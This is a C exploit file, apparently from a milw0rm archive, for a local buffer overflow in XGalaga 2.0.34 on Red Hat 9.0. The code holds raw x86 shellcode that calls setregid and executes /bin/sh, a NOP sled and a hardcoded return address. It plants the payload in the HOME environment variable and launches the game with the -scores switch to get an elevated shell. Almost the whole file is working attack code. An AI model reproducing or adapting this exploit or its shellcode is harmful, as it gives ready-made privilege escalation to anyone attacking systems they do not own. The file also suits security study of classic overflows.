77 lines
No EOL
1.4 KiB
C
77 lines
No EOL
1.4 KiB
C
/* 0x333xgalaga => XGalaga 2.0.34 local game exploit (Red Hat 9.0)
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*
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* tested against xgalaga-2.0.34-1.i386.rpm
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* under Red Hat Linux 9.0
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*
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* - bug found by Steve Kemp
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* - exploit coded by c0wboy @ 0x333
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*
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* (c) 0x333 Outsider Security Labs / www.0x333.org
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*
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*/
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#include <stdio.h>
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#include <string.h>
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#include <unistd.h>
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#define BIN "/usr/X11R6/bin/xgalaga"
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#define SIZE 264
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#define RET 0xbffffe2c /* tested against Red Hat Linux 9.0 */
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#define NOP 0x90
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unsigned char shellcode[] =
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/* setregid (20,20) shellcode */
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"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
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"\xcd\x80"
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/* exec /bin/sh shellcode */
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"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
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"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
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void banner (void);
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void memret (char *, int, int, int);
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void banner (void)
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{
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fprintf (stdout, "\n\n --- xgalaga local GAME exploit by c0wboy ---\n");
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fprintf (stdout, " --- Outsiders Se(c)urity Labs / www.0x333.org ---\n\n");
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}
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void memret (char *buffer, int ret, int size, int align)
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{
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int i;
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int * ptr = (int *) (buffer + align);
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for (i=0; i<size; i+=4)
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*ptr++ = ret;
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ptr = 0x0;
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}
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int main ()
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{
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int ret = RET;
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char out[SIZE];
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memret ((char *)out, ret, SIZE-1, 0);
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memset ((char *)out, NOP, 33);
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memcpy ((char *)out+33, shellcode, strlen(shellcode));
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setenv ("HOME", out, 1);
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banner ();
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execl (BIN, BIN, "-scores", 0x0); // the switch "-scores" is necessary to exploit the game
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}
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// milw0rm.com [2003-07-31]
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